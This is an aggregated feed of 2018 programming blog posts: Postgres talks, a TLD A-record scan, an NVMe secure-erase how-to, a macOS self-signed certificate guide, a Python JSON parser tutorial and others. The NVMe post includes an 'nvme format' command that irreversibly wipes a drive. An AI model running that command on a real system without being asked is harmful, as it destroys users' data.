Okay, connection pooling has been talked about before. Yet, still SO MANY people don’t use it in production. Connection pooling can have as large of an impact as understanding explain. In this talk Samantha looks at the pros/cons of connection pooling itself with Postgres, and should provide some good guidance for getting things setup.

HOT - Understaning this important optimization update

Grant’s talk last year on tuning Postgres for high write workloads was a great one that covered not only practical tips but some of the details of how things work under the covers. This looks like a great follow-on focusing on heap only tuples and how they can greatly improve things like bloat and overal write throughput.

See you there

If you have any questions about the conference I’d be happy to answer them, though hopefully based on the short sampling of talks you have all the reason you need to join us in September.

Specialize In The New

swyx's site RSS Feed — Fri, 22 Jun 2018 03:00:00 GMT

Author's note: This is part 4 of a series of essays I originally drafted about Opinions for your Tech Career. Part 1 is Learn in Public.

Clone Open Source Apps

swyx's site RSS Feed — Thu, 21 Jun 2018 03:00:00 GMT

Author's note: This is part 3 of a series of essays I originally drafted about Opinions for your Tech Career. Part 1 is Learn in Public.

Anonymous PPK With NaCl

infrequent oscillations — Wed, 20 Jun 2018 16:22:25 GMT

In which we seal some boxes with NaCl.

An OOP Problem

infrequent oscillations — Wed, 20 Jun 2018 14:15:54 GMT

In which we flail about, object-orientedly.

Know Your Tools

swyx's site RSS Feed — Wed, 20 Jun 2018 03:00:00 GMT

Author's note: This is part 2 of a series of essays I originally drafted about Opinions for your Tech Career. Part 1 is Learn in Public.

Learn In Public

swyx's site RSS Feed — Tue, 19 Jun 2018 03:00:00 GMT

The fastest way to build your expertise, network, and second brain.

Is Coding Style Important?

The Cranky Developer on Crater Moon Development — Mon, 18 Jun 2018 03:00:00 GMT

Have a style, any style

Why count lines of code?

Ben E. C. Boyter — Mon, 11 Jun 2018 03:00:00 GMT

A work colleague (let’s call him Owen as that’s his name) asked me the other day

“I dont understand the problem space scc et al solve. If you wanted to write a short post, i’d read and share the hell out of it. Basically, it seems like a heap of people can see the need for it, and I’m trying to understand it myself”

Owen is one of the more switched on people I know. As such if he is asking whats the point of tools such as scc, tokei, sloccount, cloc, loc and gocloc then I suspect quite a few other people are asking the same thing.

Google owned TLDs don't have A records any more

Nemo's Home — Sat, 02 Jun 2018 03:00:00 GMT

A little while ago (Jan 2018), I ran a scan to see which all TLDs have an A record set (on the TLD). This is what lets you visit http://ai/ as a valid website on your browser, for eg.

I ran the same scan as http://blog.towo.eu/a-records-on-top-level-domains/ (link is down, archived) and the results are at https://captnemo.in/blog/2018/02/09/tld-a-records/.

Decided to re-run the scan today, and noticed a stark difference: A lot of Google-owned TLD’s which were earlier pointing to 127.0.53.53 don’t have a A record anymore.

Scan run from AS45609.

Results:

TLD	IP	Web
ai	209.59.119.34	[http], [https]
arab	127.0.53.53	Private IP
cm	195.24.205.60	[http], [https]
dk	193.163.102.58	[http], [https]
etisalat	127.0.53.53	Private IP
gg	87.117.196.80	[http], [https]
je	87.117.196.80	[http], [https]
pa	168.77.8.43	[http], [https]
pn	80.68.93.100	[http], [https]
politie	127.0.53.53	Private IP
tk	217.119.57.22	[http], [https]
uz	91.212.89.8	[http], [https]
ws	64.70.19.33	[http], [https]
мон	218.100.84.27	[http], [https]
мон	202.170.80.40	[http], [https]
мон	180.149.98.78	[http], [https]
اتصالات	127.0.53.53	Private IP
政府	127.0.53.53	Private IP
عرب	127.0.53.53	Private IP
招聘	127.0.53.53	Private IP

Comparing with the previous scan, these TLDs no longer have an A record with them:

-android
-cal
-chrome
-dclk
-drive
-gle
-guge
-hangout
-nexus
-play
-sport
-谷歌
-グーグル

The majority of these are owned by Google. Not claiming it means anything, just a nice observation.

Update: An automatically updated version of this is available at https://captnemo.in/tld-a-record/

How to securely wipe an NVMe drive

Subclassed — Fri, 25 May 2018 00:04:11 GMT

NVMe drives are great: they are fast and they are huge. That huge size, however, can be a pain when it comes to securely erasing data. Old-school commands like wipe are simply not up to the task; and even if they were, they work on assumptions that do not map properly to a solid-state world. Writing random data over and over is going to dramatically reduce the lifespan of a solid-state drive, and it's pointless when all NVMe disks already have built-in tools that can take care of this task quickly and safely.

So what do you do when you want to wipe a NVMe drive?

Download a recent Linux distribution. I would recommend Debian/Ubuntu or one of their smaller derivatives (like Knoppix). Burn it on a cdrom or USB drive and boot the system from it.
Make sure your package manager is up-to-date (under Debian/Ubuntu, sudo apt-get update), then install nvme-cli (sudo apt-get install nvme-cli)
If your drive is a Samsung, it now has to be put to sleep (you can do that with sudo systemctl suspend) and then woken up. This is a weird bug that Samsung doesn't seem in any hurry to fix.
Now you can securely wipe the disk: sudo nvme format -s1 /dev/nvme0n1

For the curious: the -s option triggers Secure Erase mode, which can be set to 1 (wipe) or 2 (delete encryption keys for encrypted data). 1 looks like the safest option, because it will automatically do what 2 does if it detects that all data is encrypted. Reference here.

The latest NVMe specification adds other commands, to scrub every nook and cranny (bus caches etc), but as far as I know they have not been implemented yet.

The European Union, explained to geeks

Subclassed — Thu, 24 May 2018 09:43:09 GMT

I've started describing the EU to geek-friends as a set of services built over decades.

You need to coordinate energy supplies across the company departments (nations)? We built a service (ECSC) that does that. Worked great, no more fighting over the last bit of coal!
Need atomic development? EURATOM service. Worked great, again.
And so on and so forth...
At some point somebody said hey, we need a management tool for all this stuff! "European Council" service, with a set of dedicated subthreads for the real work (European Commission).
But that service will run amok at times, let's add some monitoring and security checks! EuroParliament service - took a few rewrites to get right, nobody really likes to work on monitoring tools; but like systemd on Linux, the EP service should eventually take over anything that talks to real world I/O, so it's pretty important.
Now all this stuff needs to communicate, with common formats that avoid parsing and reparsing umpteen different types of data back and forth, and ways to look up the right service for a given job - so we created a "CommonMarket SDK", optionally turbocharged with options like Schengen. When exceptions are thrown, the SDK will automatically invoke the ECJ service to resolve matters; and it will self-update by talking to the management services. Once everyone adopts the SDK, then it should be easier to make more radical changes through that (ECB, Euro, common fiscal policy...). But in the end nobody likes change, it's always hard to break backward-compatibility.

Now, across the company/continent, various departments/nations have adopted some or all of these services, but most of them ended up relying on the SDK one way or the other, so it became basically mandatory. At one point we had to give a name to the whole framework, and "EU" it was.
It's definitely not a monolith, but there are so many moving parts that the management services are now essential. Some departments have renounced their Write access (Iceland, Norway, Switzerland...) and some were never granted that privilege (Turkey); some departments were forced to change their processes to suit the framework (Italy, Greece, the Eastern countries...). Things are still pretty shaky, developers are still very much at work, but it's getting better with time. It's making more and more services possible and even *easy* to bootstrap (EMA, EFSA, Erasmus...). Bugs creep in and out, we keep adding more and more fault-tolerance, the workload is not yet distributed fairly, etc etc; but it's accomplishing some very heavy tasks that are absolutely mission-critical, if we want to keep the company running and competing with the big boys.
...
Then, one day, a department said they'd like to go back to pen and paper. Except for a few services, for which they want to hand-craft packets individually, but those services should just assume the data is still as good as before, and never throw exceptions - they will ignore any response from the ECJ service anyway. Some of what their department does depends on another department, which has no intention to go back to pen and paper, but they say they will somehow give them bits and receive paper, without anyone actually doing the transformation, and without any friction at all. And they'd like to retain write access to the management services too, thank you very much, plus veto powers, so nobody can change SDK formats without consulting them.
Cue facepalming.

Windows Survival Kit for OSX exiles

Subclassed — Thu, 24 May 2018 09:42:01 GMT

After 5 long years, I was gently forced back to Windows for everyday work. The experience has been less terrible than I thought, but was pretty frustrating at the beginning.
To help anyone in the same predicament, I put together a small list of tips to make the move a bit more tolerable.

Windows does not have hot corners. Hello, 1995! Anyway, the solution here is using a small app called, unsurprisingly, HotCornersApp. It works well enough, and it's fine with multiple screens too. Despite the basic website, it's legit and even opensource, you can compile it yourself (although beware - apparently the very latest updates may not build properly).
Windows does not do text substitution, which is one of those things that you don't know how much you love it until they take it away from you. As far as I can see, there is no free utility on Windows to do this, or nothing that actually works well enough. So, I paid for Breevy. It feels a bit retro (it looks blurry on high-def screens...), but it works very well and has all sorts of options and special features.
Windows doesn't really deal well with multi-language support, aka typing accents from a US keyboard. Sure, you can use US-International, and deal with ' and " becoming meta-keys, but for a techie/programmer typing those characters on their own more often than accents, it's extremely annoying. The solution was again Breevy: you can define a combo that will not be triggered unless you type a special character afterwards. For example, I defined `e to become è after I press Ctrl. It works absolutely everywhere, although it's nowhere as elegant as the OSX popup. Same story for special characters like £ , € etc.

For best results, check if your keyboard supports custom macro. Mine does, so I mapped the blank side-keys to accents and so on. After muscle-memory starts kicking in, this solution is actually superior to stock OSX.

I was not going to reformat my external hard drives to NTFS, which is a pain to use back on OSX; so again I had to pay for Paragon HFS+ for Windows. The UI is garbage (and does not work properly with multi-monitor setups), but the actual driver seems to work perfectly.
Microsoft has basic print-to-PDF support. If you need to concatenate documents, PrimoPDF does it, and it's free (do not download the Nitro version). The interface is not great though.
For the developer types out there who rely on Dash, a good equivalent on Windows is Zeal. It supports the same format, even fetching docsets directly from Dash repositories.
Also for developer/sysadmin types, the Windows equivalent of homebrew is now Chocolatey. Whoever came up with that word should give up trying to name things, but the software does work. You can use it to install 7zip (to get the latest beta with proper security patches, choco install 7zip.install --pre -y) windirstat and so on, it will make it easy to upgrade them when necessary (rather than having through the usual website-download-install dance, just choco upgrade them all).
There are quite a few apps that do what Fluid does, i.e. making websites into "native" apps. I know, I know, they are aberrations; but I got used to having a few sites (Gmail, Trello, Hangouts...) accessible this way. After a bad experience with WebCatalog (it was working ok, but then it got stuck trying to upgrade itself), I installed nativefier. This is again more for the geek types; it requires npm and it's a command-line app with a few quirks.
UPDATE 1: to get back the "preview on pressing Space" experience, there is a free app called Seer. You can also pay for a license, but it's not clear what the difference might be, the free app is more than enough for my needs. I had to remove the Ctrl-Alt-S shortcut in Settings in order to make it work properly.

Did I miss anything? Feel free to suggest other useful tidbits in comments.

How to implement custom BotStorage class for Microsoft BotFramework

Subclassed — Thu, 24 May 2018 09:41:39 GMT

Since launch, the MS BotFramework has been changing very rapidly. So rapidly, in fact, that I recently gave up trying to keep up with my handrolled Python, and embraced (sigh) their NodeJS SDK. At least now I won't have to worry when they break stuff, right ?
One of the most recent BF changes is the deprecation and eventual removal of the default persistence API. You are now supposed to either use one of the pre-built Azure services (paying $$), or provide your own implementation. In pure Microsoft style, they state that rolling your own is very easy... but never actually provide a sample or even tell you which interface should be implemented.
I had to scavenge through their code to figure it out (at least they opensource their stuff these days), but I thought I'd save others a bit of aggravation, and here it is:

var MyBotStorage = (function () {
    
    // optional constructor
    function MyBotStorage(options) {
        this.options = options;
    }
    
    MyBotStorage.prototype.getData = function (iBotStorageContext, 
                                                callback){
        // IBotStorageData interface
        var data = {
            userData: {},
            conversationData: {},
            privateConversationData: {}
        };
        // the callback MUST be invoked
        // signature: callback(Error, iBotStorageData )
        callback(null, data);
    }
    
    MyBotStorage.prototype.saveData = function (iBotStorageContext, 
                                                iBotStorageData, 
                                                errorCallback){
        // the callback MUST be invoked
        errorCallback(null);
    }
    
    return MyBotStorage;
}());

var botStorage = new MyBotStorage({});

var bot = new builder.UniversalBot(connector, function (session) {
            // your bot code here
    }).set('storage', botStorage);

As you can see, it is indeed trivial, once you know how. It's sad that MS somehow, in the haste of deprecating their older interfaces, couldn't find the time to put this sample in their otherwise-extensive documentation. I suspect the fact that Azure is not mentioned anywhere might have something to do with it, but I'm sure I'm just assuming excessive malice and there is a perfectly-plausible explanation that does not involve greed. Or is there?

How to add multiple tags to a Go struct

Ben E. C. Boyter — Thu, 24 May 2018 03:00:00 GMT

I was looking to add multiple tags (the declaration after the struct field) to a struct in Go such that I could have it defined in GORM and in JSON.

This was much harder to find via any search engine I tried than I would have guessed. The answer thankfully is simple once you know and was provided to me by Josh of https://boyter.org/2017/03/golang-solution-faster-equivalent-java-solution/ fame.

The trick is to define multiple tags but with a space separating them. Easy enough and hopefully this post is found by others with the same issue.

Machined Horses

infrequent oscillations — Wed, 23 May 2018 06:16:19 GMT

In which we machine-learn horse names.

Reality Driven Development

Brightball Articles — Mon, 21 May 2018 13:11:02 GMT

Not a lot of people know this about me, but I've almost exited programming at three different times in my career...because I wanted to get into project management at a high level. Ever since my first project management class in grad school, it just made sense to me...but after about 15 years in software it doesn't anymore. Let me explain how to fix it.

Writing to be read

Notes on software development — Fri, 18 May 2018 03:00:00 GMT

There is a common struggle in the writing and maintenance of documentation, checklists, emails, guides, etc. Each provides immense value; a document may be the key to an important process. The goal is to remove barriers -- to encourage understanding and correct application of what has been noted -- without requiring a change in the character of the reader. That is, expect reading to be difficult and people to be lazy. Don't make things harder for your reader than need be.

Ignoring imperfections in the ideas transcribed into writing, there are a few particular aesthetic approaches I take to (hopefully) make my notes more effective. These ideas have been influenced by readings on writing, psychology, and user experience. In particular, I recommend On Writing Well, Thinking Fast and Slow, and Nielsen Norman research.

Language correctness

Spelling and grammatical correctness are low hanging fruit. They are easy to achieve. Use full sentences, use punctuation, and capitalize appropriately. But don't be a grammar stickler unreasonably; language is flexible and always changing. Don't allow anyone the opportunity to take your work less seriously by screwing up the basics.

Structuring sentences and paragraphs

Keep your sentences short. And avoid run on sentences; they are always difficult to parse. If you use more than two commas in a sentences (aside from in lists), the sentence is terrible. Split it up. Commas are often used superfluously. Don't do that.

Remember that if a comma separates two sentences, you can separate them into two sentences with a period instead. And if you ever have a list containing another list, separate the outer list with semi colons instead of commas to provide better differentiation.

Keep your paragraphs short too. In primary school you may have learned to use 5-8 sentences per paragraph. Don't do so needlessly. 3-5 sentences can be perfectly appropriate. As both sentences and paragraphs get longer, they appear more intimidating and can discourage readers from continuing.

Visually speaking

Make your line height 120-145% the height of the font. Increase the spacing between lines in a paragraph to make the paragraph less dense and more friendly.

Keep contrast high. Don't put very gray (or colored) text on a white background.

Additionally, a number of studies suggest that limiting the width of text increases readability. For best results, limit the width such that 50-75 characters appear per line of text.

Don't put checklists in paragraphs

If a document describes concrete steps that should be followed exactly and can be reasonably summarized, don't hide the steps within paragraphs of text. Instead use an ordered or unordered list to clearly enumerate the expectations. You can't expect a checklist to be followed when it is hidden within the sentences of a paragraph.

Structuring sections

Any document (regardless the type) longer than 3-5 paragraphs should be broken into sub-sections with summarizing headers to aid scanning. Use the HTML id attribute to allow a direct link to a particular section in a long page. If the page has more than two sections or vertically flows beyond a single screen, consider adding a table of contents at the top of the page to allow the reader to find the exact section she needs.

Visually speaking

Don't put large headers immediately next to each other. It is disruptive to have multiple lines of large text.

I almost completely avoid Github Markdown's h1/# tag because it is just too large and jarring relative to the rest of the text. It is often best for the flow of a Github Markdown document to stick to only h3-h4/###-#### tags for headers, using the h2/## tag for the document title.

In summary

The aesthetic flow of a document can help or hurt the experience of a reader consuming it. Good aesthetic "sense" in this regard can be boiled down to a few methods that primarily revolve around simplifying structure and facilitating the rewarding feeling of progress as a reader reads.

Writing is difficult and takes time to evolve helpfully. The dividends are paid when process is better followed and questions are readily clarified in writing without further human intervention. It is incumbent on those writing and maintaining to organize effectively and see confusion of the reader as fault of the document, not fault of the reader. It is easier to change something yourself than to expect others to change to accommodate you.

Set up a Self Signed Certificate on macOS's Built in Apache

Donat Studios — Wed, 16 May 2018 05:42:51 GMT

Update 2019-01-29: A much simpler method using a tool called mkcert has come along and I have an updated walkthrough you may want to use instead. I would recommend the mkcert method unless you have a reason you explicitly need a self signed certificate.

I recently purchased a .app domain for a side project; .app domains are interesting as they require SSL at all times.

I like to set up my dev environments as subdomains of my actual domain, such as local.donatstudios.com. It makes working with CORS and cookies a lot simpler for applications with APIs on subdomains.

Doing this with .app however means having to get SSL working. I found a number of tutorials of varying quality online, but none of them did the full process from start to finish, particularly solving problems with Chrome 58.

This tutorial assumes you are using the built in version of Apache that comes with macOS, however you should be able to adjust paths for brew or otherwise installed versions.

Creating the Certificates

First off we'll make place to do our work. We need to do this outside of sudo requiring areas due to some bugs with the Apple version of openssl.

$ mkdir /tmp/crt && cd /tmp/crt

Next we will generate your key and certificate. Replace all four local.example.com entries with your full intended development subdomain.

The subjectAltName=DNS piece of this is required to get Chrome versions greater than 58 working.

$ openssl req -newkey rsa:2048 -x509 -nodes \
    -keyout local.example.com.key \
    -new \
    -out local.example.com.crt \
    -subj /CN=local.example.com \
    -reqexts SAN \
    -extensions SAN \
    -config <(cat /System/Library/OpenSSL/openssl.cnf \
        <(printf '[SAN]\nsubjectAltName=DNS:local.example.com')) \
    -sha256 \
    -days 3650

Apache requires a nopass key, so to generate this we do the following, again adjusting paths as nessessary:

$ sudo openssl rsa -in local.example.com.key -out local.example.com.nopass.key

Now that we have completed the key generation, we can move our certificates into the apache /etc directory:

$ sudo mkdir /etc/apache2/ssl
$ sudo mv *.key *.crt /etc/apache2/ssl

Apache Configuration

In your favorite editor open /etc/apache2/httpd.conf

Uncomment the following lines (line numbers may vary):

Near line 89:

LoadModule socache_shmcb_module libexec/apache2/mod_socache_shmcb.so

Near line 144:

LoadModule ssl_module libexec/apache2/mod_ssl.so

Near line 528:

Include /private/etc/apache2/extra/httpd-ssl.conf

Next open /etc/apache2/extra/httpd-ssl.conf, find <VirtualHost _default_:443> around line 121.

Either comment out using a # at the start of each line, or delete every single line between the opening <VirtualHost _default_:443> and the closing </VirtualHost> around line 290.

Presuming your sites VirtualHost is in /etc/apache2/extra/httpd-vhosts.conf either change <VirtualHost *:80> to <VirtualHost *:443>, or duplicate your VirtualHost entry using <VirtualHost *:443> if you'd like your VirtualHost accessible with and without SSL.

Next, inside your sites <VirtualHost *:443> block, append the following, adjusting the filenames accordingly.

  SSLEngine on
  SSLCertificateFile "/private/etc/apache2/ssl/local.example.com.crt"
  SSLCertificateKeyFile "/private/etc/apache2/ssl/local.example.com.nopass.key"

Chrome / Safari Configuration

Next we will open your Apache ssl directory and the "Keychain Access" application:

$ open /etc/apache2/ssl
$ open /Applications/Utilities/Keychain\ Access.app

In the Keychain Access application, select the login Keychain and the Certificates Category.

Then from the open Finder window, drag and drop your .crt file.

Double click, and change the settings for the selected certificate to "Always Trust".

Lastly, repeat the process of dragging and giving access in the System Keychain.

You may need to reboot, but your certificate should now work in Chrome and Safari on your local machine.

New Beginnings

Subclassed — Wed, 16 May 2018 00:59:15 GMT

So, after 7 intense years at Infratects (now Inlumi), it's time for me to move on.

I have a few ideas about what to do next, but nothing set in stone yet. My LinkedIn profile could do with more details, but it's a decent primer for what I do for a living - Hyperion/EPM, Python, Java, Weblogic and thereabout.

I was a web developer in a previous life, so I enjoy hacking and automating everything, getting dirty with infrastructure and the cloud; and in 13 years working on Hyperion products, I've absorbed a pretty good amount of knowledge related to financial processes (consolidation rules, metadata, cube performance and so on) as well as a deep understanding of the innards of the EPM suite. I can tweak your database, hack your Weblogic, integrate your cloud-based authentication, script your exports and migrations, and so on; and if there is something the tools won't do... I'll build you a new tool! That's where I make the difference: at the intersection of technology and Finance, boosting the productivity of accountants.

If this sounds interesting, ping me on LinkedIn and we can have a chat.

Filtered aggregates lands in Django 2.0!

Tom Forbes — Sat, 12 May 2018 17:00:39 GMT

Big Django projects often suffer from a few problems regarding database modelling and relations. Django provides incredibly easy to use tools to model your domain along with an awesomely powerful ORM to query on them. Often back office reporting software written in Django makes extensive use of the ...

Random Numbers

infrequent oscillations — Fri, 11 May 2018 13:03:18 GMT

In which we check whether an RNG is complete.

How to start a Go project in 2018

Ben E. C. Boyter — Thu, 10 May 2018 03:00:00 GMT

This post is fairly old. See the updated version Starting a Go project in 2023

Getting started with a Go project in 2018 is frankly a little more painful then getting anything else started IMHO. With that here is what I have been doing to get started.

The first thing to do is download and install Go. I would suggest always installing from the Go website itself https://golang.org/ and following the instructions for your OS of choice.

Writing a simple JSON parser

Notes on software development — Sun, 06 May 2018 03:00:00 GMT

Writing a JSON parser is one of the easiest ways to get familiar with parsing techniques. The format is extremely simple. It's defined recursively so you get a slight challenge compared to, say, parsing Brainfuck; and you probably already use JSON. Aside from that last point, parsing S-expressions for Scheme might be an even simpler task.

If you'd just like to see the code for the library, pj, check it out on Github.

What parsing is and (typically) is not

Parsing is often broken up into two stages: lexical analysis and syntactic analysis. Lexical analysis breaks source input into the simplest decomposable elements of a language called "tokens". Syntactic analysis (often itself called "parsing") receives the list of tokens and tries to find patterns in them to meet the language being parsed.

Parsing does not determine semantic viability of an input source. Semantic viability of an input source might include whether or not a variable is defined before being used, whether a function is called with the correct arguments, or whether a variable can be declared a second time in some scope.

There are, of course, always variations in how people choose to parse and apply semantic rules, but I am assuming a "traditional" approach to explain the core concepts.

The JSON library's interface

Ultimately, there should be a from_string method that accepts a JSON-encoded string and returns the equivalent Python dictionary.

For example:

assert_equal(from_string('{"foo": 1}'),
             {"foo": 1})

Lexical analysis

Lexical analysis breaks down an input string into tokens. Comments and whitespace are often discarded during lexical analysis so you are left with a simpler input you can search for grammatical matches during the syntactic analysis.

Assuming a simple lexical analyzer, you might iterate over all the characters in an input string (or stream) and break them apart into fundemental, non-recursively defined language constructs such as integers, strings, and boolean literals. In particular, strings must be part of the lexical analysis because you cannot throw away whitespace without knowing that it is not part of a string.

In a helpful lexer you keep track of the whitespace and comments you've skipped, the current line number and file you are in so that you can refer back to it at any stage in errors produced by analysis of the source. The V8 Javascript engine recently became able to do reproduce the exact source code of a function. This, at the very least, would need the help of a lexer to make possible.

Implementing a JSON lexer

The gist of the JSON lexer will be to iterate over the input source and try to find patterns of strings, numbers, booleans, nulls, or JSON syntax like left brackets and left braces, ultimately returning each of these elements as a list.

Here is what the lexer should return for an example input:

assert_equal(lex('{"foo": [1, 2, {"bar": 2}]}'),
             ['{', 'foo', ':', '[', 1, ',', 2, ',', '{', 'bar', ':', 2, '}', ']', '}'])

Here is what this logic might begin to look like:

def lex(string):
    tokens = []

    while len(string):
        json_string, string = lex_string(string)
        if json_string is not None:
            tokens.append(json_string)
            continue

        # TODO: lex booleans, nulls, numbers

        if string[0] in JSON_WHITESPACE:
            string = string[1:]
        elif string[0] in JSON_SYNTAX:
            tokens.append(string[0])
            string = string[1:]
        else:
            raise Exception('Unexpected character: {}'.format(string[0]))

    return tokens

The goal here is to try to match strings, numbers, booleans, and nulls and add them to the list of tokens. If none of these match, check if the character is whitespace and throw it away if so. Otherwise store it as a token if it is part of JSON syntax (like left brackets). Finally throw an exception if the character/string didn't match any of these patterns.

Let's extend the core logic here a little bit to support all the types and add the function stubs.

def lex_string(string):
    return None, string


def lex_number(string):
    return None, string


def lex_bool(string):
    return None, string


def lex_null(string):
    return None, string


def lex(string):
    tokens = []

    while len(string):
        json_string, string = lex_string(string)
        if json_string is not None:
            tokens.append(json_string)
            continue

        json_number, string = lex_number(string)
        if json_number is not None:
            tokens.append(json_number)
            continue

        json_bool, string = lex_bool(string)
        if json_bool is not None:
            tokens.append(json_bool)
            continue

        json_null, string = lex_null(string)
        if json_null is not None:
            tokens.append(None)
            continue

        if string[0] in JSON_WHITESPACE:
            string = string[1:]
        elif string[0] in JSON_SYNTAX:
            tokens.append(string[0])
            string = string[1:]
        else:
            raise Exception('Unexpected character: {}'.format(string[0]))

    return tokens

Lexing strings

For the lex_string function, the gist will be to check if the first character is a quote. If it is, iterate over the input string until you find an ending quote. If you don't find an initial quote, return None and the original list. If you find an initial quote and an ending quote, return the string within the quotes and the rest of the unchecked input string.

def lex_string(string):
    json_string = ''

    if string[0] == JSON_QUOTE:
        string = string[1:]
    else:
        return None, string

    for c in string:
        if c == JSON_QUOTE:
            return json_string, string[len(json_string)+1:]
        else:
            json_string += c

    raise Exception('Expected end-of-string quote')

Lexing numbers

For the lex_number function, the gist will be to iterate over the input until you find a character that cannot be part of a number. (This is, of course, a gross simplification, but being more accurate will be left as an exercise to the reader.) After finding a character that cannot be part of a number, either return a float or int if the characters you've accumulated number more than 0. Otherwise return None and the original string input.

def lex_number(string):
    json_number = ''

    number_characters = [str(d) for d in range(0, 10)] + ['-', 'e', '.']

    for c in string:
        if c in number_characters:
            json_number += c
        else:
            break

    rest = string[len(json_number):]

    if not len(json_number):
        return None, string

    if '.' in json_number:
        return float(json_number), rest

    return int(json_number), rest

Lexing booleans and nulls

Finding boolean and null values is a very simple string match.

def lex_bool(string):
    string_len = len(string)

    if string_len >= TRUE_LEN and \
       string[:TRUE_LEN] == 'true':
        return True, string[TRUE_LEN:]
    elif string_len >= FALSE_LEN and \
         string[:FALSE_LEN] == 'false':
        return False, string[FALSE_LEN:]

    return None, string


def lex_null(string):
    string_len = len(string)

    if string_len >= NULL_LEN and \
       string[:NULL_LEN] == 'null':
        return True, string[NULL_LEN:]

    return None, string

And now the lexer code is done! See the pj/lexer.py for the code as a whole.

Syntactic analysis

The syntax analyzer's (basic) job is to iterate over a one-dimensional list of tokens and match groups of tokens up to pieces of the language according to the definition of the language. If, at any point during syntactic analysis, the parser cannot match the current set of tokens up to a valid grammar of the language, the parser will fail and possibly give you useful information as to what you gave, where, and what it expected from you.

Implementing a JSON parser

The gist of the JSON parser will be to iterate over the tokens received after a call to lex and try to match the tokens to objects, lists, or plain values.

Here is what the parser should return for an example input:

tokens = lex('{"foo": [1, 2, {"bar": 2}]}')
assert_equal(tokens,
             ['{', 'foo', ':', '[', 1, ',', 2, '{', 'bar', ':', 2, '}', ']', '}'])
assert_equal(parse(tokens),
             {'foo': [1, 2, {'bar': 2}]})

Here is what this logic might begin to look like:

def parse_array(tokens):
    return [], tokens

def parse_object(tokens):
    return {}, tokens

def parse(tokens):
    t = tokens[0]

    if t == JSON_LEFTBRACKET:
        return parse_array(tokens[1:])
    elif t == JSON_LEFTBRACE:
        return parse_object(tokens[1:])
    else:
        return t, tokens[1:]

A key structural difference between this lexer and parser is that the lexer returns a one-dimensional array of tokens. Parsers are often defined recursively and returns a recursive, tree-like object. Since JSON is a data serialization format instead of a language, the parser should produce objects in Python rather than a syntax tree on which you could perform more analysis (or code generation in the case of a compiler).

And, again, the benefit of having the lexical analysis happen independent from the parser is that both pieces of code are simpler and concerned with only specific elements.

Parsing arrays

Parsing arrays is a matter of parsing array members and expecting a comma token between them or a right bracket indicating the end of the array.

def parse_array(tokens):
    json_array = []

    t = tokens[0]
    if t == JSON_RIGHTBRACKET:
        return json_array, tokens[1:]

    while True:
        json, tokens = parse(tokens)
        json_array.append(json)

        t = tokens[0]
        if t == JSON_RIGHTBRACKET:
            return json_array, tokens[1:]
        elif t != JSON_COMMA:
            raise Exception('Expected comma after object in array')
        else:
            tokens = tokens[1:]

    raise Exception('Expected end-of-array bracket')

Parsing objects

Parsing objects is a matter of parsing a key-value pair internally separated by a colon and externally separated by a comma until you reach the end of the object.

def parse_object(tokens):
    json_object = {}

    t = tokens[0]
    if t == JSON_RIGHTBRACE:
        return json_object, tokens[1:]

    while True:
        json_key = tokens[0]
        if type(json_key) is str:
            tokens = tokens[1:]
        else:
            raise Exception('Expected string key, got: {}'.format(json_key))

        if tokens[0] != JSON_COLON:
            raise Exception('Expected colon after key in object, got: {}'.format(t))

        json_value, tokens = parse(tokens[1:])

        json_object[json_key] = json_value

        t = tokens[0]
        if t == JSON_RIGHTBRACE:
            return json_object, tokens[1:]
        elif t != JSON_COMMA:
            raise Exception('Expected comma after pair in object, got: {}'.format(t))

        tokens = tokens[1:]

    raise Exception('Expected end-of-object brace')

And now the parser code is done! See the pj/parser.py for the code as a whole.

Unifying the library

To provide the ideal interface, create the from_string function wrapping the lex and parse functions.

def from_string(string):
    tokens = lex(string)
    return parse(tokens)[0]

And the library is complete! (ish). Check out the project on Github for the full implementation including basic testing setup.

Appendix A: Single-step parsing

Some parsers choose to implement lexical and syntactic analysis in one stage. For some languages this can simplify the parsing stage entirely. Or, in more powerful languages like Common Lisp, it can allow you to dynamically extend the lexer and parser in one step with reader macros.

I wrote this library in Python to make it more accessible to a larger audience. However, many of the techniques used are more amenable to languages with pattern matching and support for monadic operations -- like Standard ML. If you are curious what this same code would look like in Standard ML, check out the JSON code in Ponyo.

I wrote a short post (and a corresponding Python library) explaining lexing and parsing with JSON https://t.co/3yEZlcU6i5 https://t.co/FbksvUO9aT #json #python
— Phil Eaton (@phil_eaton) May 6, 2018

Musical Update

infrequent oscillations — Thu, 03 May 2018 14:02:34 GMT

In which we watch/listen to eight YouTube videos of songs I quite like.

Finishing up a FreeBSD experiment

Notes on software development — Sat, 28 Apr 2018 03:00:00 GMT

I've been using FreeBSD as my daily driver at work since December. I've successfully done my job and I've learned a hell of a lot forcing myself on CURRENT... But there's been a number of issues with it that have made it difficult to keep using, so I replaced it with Arch Linux yesterday and I no longer have those issues. This is not the first time I've forced myself to run FreeBSD and it won't be the last.

The FreeBSD setup

I have a Dell Developer Edition. It employs full-disk encryption with ZFS. Not being a "disk-jockey" I cannot comment on how exhilarating an experience running ZFS is. It didn't cause me any trouble.

It has an Intel graphics card and the display server is X. I use the StumpWM window manager and the SLiM login manager. xscreensaver handles locking the screen, feh gives me background images, scrot gives me screenshots, and recordMyDesktop gives me video screen capture. This list should feel familiar to users of Arch Linux or other X-supported, bring-your-own-software operating systems/Linux distributions.

Software development

I primarily work on a web application with Node/PostgreSQL and React/SASS. I do all of this development locally on FreeBSD. I run other components of our system in a Vagrant-managed VirtualBox virtual machine.

Upgrading the system

Since I'm running CURRENT, I fetch the latest commit on Subversion and rebuild the FreeBSD system (kernel + user-land) each weekend to get the new hotness. This takes somewhere between 1-4 hours. I start the process Sunday morning and come back to it after lunch. After the system is compiled and installed, I update all the packages through the package manager and deal with fallout from incompatible kernel modules that send me in a crash/reboot loop on boot.

This is actually the part about running FreeBSD (CURRENT) I love the most. I've gotten more familiar with the development and distribution of kernel modules like the WiFi, Graphics, and VirtualBox drivers. I've learned a lot about the organization of the FreeBSD source code. And I've gotten some improvements merged into the FreeBSD Handbook on how to debug a core dump.

Issues with FreeBSD on my hardware

I installed CURRENT in December to get support for new Intel graphics drivers (which have since been backported to STABLE). The built-in Intel WiFi card is also new enough that it hadn't been backported to STABLE. My WiFi ultimately never got more than 2-4Mbps down on the same networks my Macbook Pro would get 120-250Mbps down. I even bought an older Realtek USB WiFi adapter and it fared no differently. My understanding is that this is because CURRENT turns on enough debug flags that the entire system is not really meant to be used except for by FreeBSD developers.

